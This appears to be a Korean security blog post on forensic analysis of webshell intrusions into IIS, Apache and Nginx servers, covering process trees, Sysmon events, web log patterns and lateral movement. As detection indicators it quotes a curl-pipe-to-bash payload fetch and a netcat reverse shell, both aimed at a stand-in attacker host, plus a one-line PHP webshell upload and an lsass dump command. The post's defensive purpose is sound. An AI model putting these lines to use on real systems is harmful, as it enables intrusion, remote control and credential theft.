본문 바로가기
Analysis

IIS, Apache, Nginx 웹셸(Webshell) 행위 분석

by ms-eo 2025. 11. 18.

외부 노출 자산이 공격자에게 뚫리는 가장 흔한 침해사고 유형 중 하나가 바로 웹 서버(Web Server),WAS(Web Application Server) 침해사고입니다.

웹 취약점을 기반으로 공격자가 웹셸 업로드 → 원격 코드 실행(RCE) → 내부 시스템 확산까지 이어지는 공격 흐름은 지속적으로 발생합니다.

이 글에서는 웹셸 업로드, 파일 업로드 취약점, SQL Injection 등을 통해 침투한 뒤 어떤 아티팩트와 로그를 기반으로 사고를 분석해야 하는지를 알 수 있습니다.

1. 침해사고 개요

웹 서버 침해사고는 대부분 다음 흐름으로 진행됩니다.

  1. 취약점 악용 – 파일 업로드, SQL Injection, RCE 등
  2. 웹셸 업로드 – 공격자가 서버에서 명령 실행 가능한 환경 확보
  3. 내부 자원 정찰 – 권한, 네트워크, DB 접속 정보 탐색
  4. Lateral Movement – 내부 시스템으로 이동
  5. 데이터 탈취 또는 추가 악성행위

특히 웹서버의 취약점은 외부에서 바로 공격 가능하기 때문에 초기 대응이 늦어지면 내부망까지 확산되는 경우가 많습니다.

2. 분석 핵심 포인트

1) 웹셸(Webshell) 탐지 – 행위 기반 분석

웹셸이 실행될 때 흔히 나타나는 프로세스 패턴

: 웹 서버 프로세스가 OS 명령을 실행하는 자식 프로세스를 생성하는 방식입니다.

웹 서버 프로세스
의심할 수 있는 자식 프로세스
w3wp.exe (IIS)
cmd.exe, powershell.exe, cscript.exe
httpd.exe (Apache)
bash, sh, perl, python
php-fpm, nginx
bash, python, nc, wget

Sysmon 이벤트 활용

  • Sysmon Event ID 1: 비정상 프로세스 생성 (웹 프로세스 → cmd)
  • Sysmon Event ID 3: 외부로 향하는 네트워크 연결 (C2 통신)
  • Sysmon Event ID 11: 신규 파일 생성(webshell 업로드 위치 확인)

IIS (w3wp.exe) 기반 웹셸 패턴

의심 트리(예시)

w3wp.exe → cmd.exe → powershell.exe -enc (Base64...)

특징

  • ASPX 웹셸이 대부분 cmd → powershell 조합을 사용
  • Base64 인코딩 명령, 다운로드 스크립트, reverse shell 생성 등이 포함됨
  • cscript.exe, wscript.exe, mshta.exe 활용

Apache(httpd.exe) 기반 웹셸 패턴

의심 트리(예시)

httpd.exe /bin/sh → curl http://attacker/payload.sh | bash

특징

  • PHP, Perl CGI, Python CGI 기반 웹셸에서 자주 발생
  • /tmp/ 경로에 임시 파일 생성 후 실행하는 패턴이 많음
  • wget, curl, perl, python, nc, tftp, ftpget 등이 흔함

Nginx + PHP-FPM 기반 패턴

의심 트리(예시)

php-fpm → bash → nc -e /bin/bash attacker_ip:port

특징

  • php-fpm은 원래 외부 프로세스를 실행하지 않는 구조
  • 그래서 php-fpm 자식으로 bash, python, netcat이 뜨면 100% 공격임
  • Reverse Shell, payload 다운로드, privilege escalation 실행 가능성 높음

2) 웹 서버 로그 분석 – POST/PUT, base64, eval 패턴

웹 로그는 웹셸 업로드 시 가장 빠르게 흔적을 남깁니다.

체크해야 하는 로그 패턴

1. 파일 업로드 흔적

  • POST /upload.php
  • PUT /shell.aspx
  • Multipart/form-data 요청 증가

2. 명령 실행 흔적

공격자가 웹셸을 통해 명령 실행 시 흔히 사용되는 파라미터

  • cmd=whoami
  • cmd=system("id")
  • exec=ls+-al
  • eval(base64_decode(...))
  • assert($_POST[…])

3. 웹셸 업로드 직전의 지표

  • 파일 크기가 비정상적으로 작은 1~5KB의 ASPX/PHP 파일 업로드
  • .jsp, .php, .aspx, .ashx 형태의 새 파일 등장
  • URL 파라미터에 base64 문자열 포함

공격자의 특징 패턴 예시

POST /upload.php HTTP/1.1 Content-Type: multipart/form-data ------filename="1.php" <?php echo shell_exec($_GET['cmd']); ?>

3) 웹 루트 신규 파일 타임라인 재구성

웹셸은 보통 아래 경로에 생성됩니다.

일반적인 웹셸 업로드 경로

  • C:\inetpub\wwwroot\
  • /var/www/html/
  • /usr/share/nginx/html/
  • /upload/, /images/, /assets/, /temp/

파일 타임라인 분석 포인트

  • 최근 24시간/7일 내 생성된 파일 목록 추출
  • 확장자 변조(.jpg, .png, .gif인데 실행 가능한 스크립트)
  • 크기가 너무 작은 파일(1~5KB의 한 줄 웹셸)
  • 동일 시간대에 생성된 기타 파일(다운로더, staging 파일 등)

Sysmon, OS 로그 활용

  • Sysmon Event ID 11(FileCreate): 공격자가 업로드한 파일 포착
  • 파일 해시 수집 → VT 조회
  • 생성/수정 시간 비교해 클러스터 도출

4) Lateral Movement 여부 판단

웹 서버가 뚫렸다고 해서 “웹셸 업로드로 끝”이 되는 경우는 많지 않습니다.

대부분 내부망으로 이동해서 추가 피해가 일어납니다.

분석 포인트

1. 내부망 스캔 흔적

  • cmd.exe /c net view
  • powershell.exe Test-NetConnection
  • nmap, fscan, netcat 설치

2. 자격증명 탈취 시도

  • lsass.exe 접근 로그(Sysmon 10)
  • mimikatz 실행 흔적
  • procdump.exe -ma lsass.exe

3. SMB/RDP 기반 확산

  • Event ID 4624 Logon Type 3: SMB 로그온
  • Event ID 4624 Logon Type 10: RDP
  • wmic, psexec, winrm 사용 여부

4. 백도어 추가 설치

  • 서비스 등록(Event 7045)
  • scheduled task 생성(Event 4698)
  • Run/RunOnce, DLL hijacking 기반 persistence

3. 침해사고 분석 및 대응 흐름 참고

1) 웹 서버 로그 분석

→ 공격 요청·웹셸 업로드 흔적 파악

2) 웹 루트 파일 타임라인 분석

→ 신규·수상한 스크립트 파일 도출

3) 프로세스 트리 분석

→ 웹셸 실행 후 Spawned Process 확인

4) 네트워크 행위 분석

→ 내부 스캔, C2 통신 여부 확인

5) 자격증명 탈취 및 Lateral Movement 확인

→ RDP/SMB/WMI/PsExec 패턴 점검

6) 추가 Backdoor 및 Persistence 탐지

→ 새 서비스, 스케줄러, Run Key 점검

각 포인트마다 확인해야하는 로그 및 아티팩트는 달라서 따로 안적어뒀습니다.

개인적으로 여쭤보면 짧은 지식으로 대답은 드리겠습니다..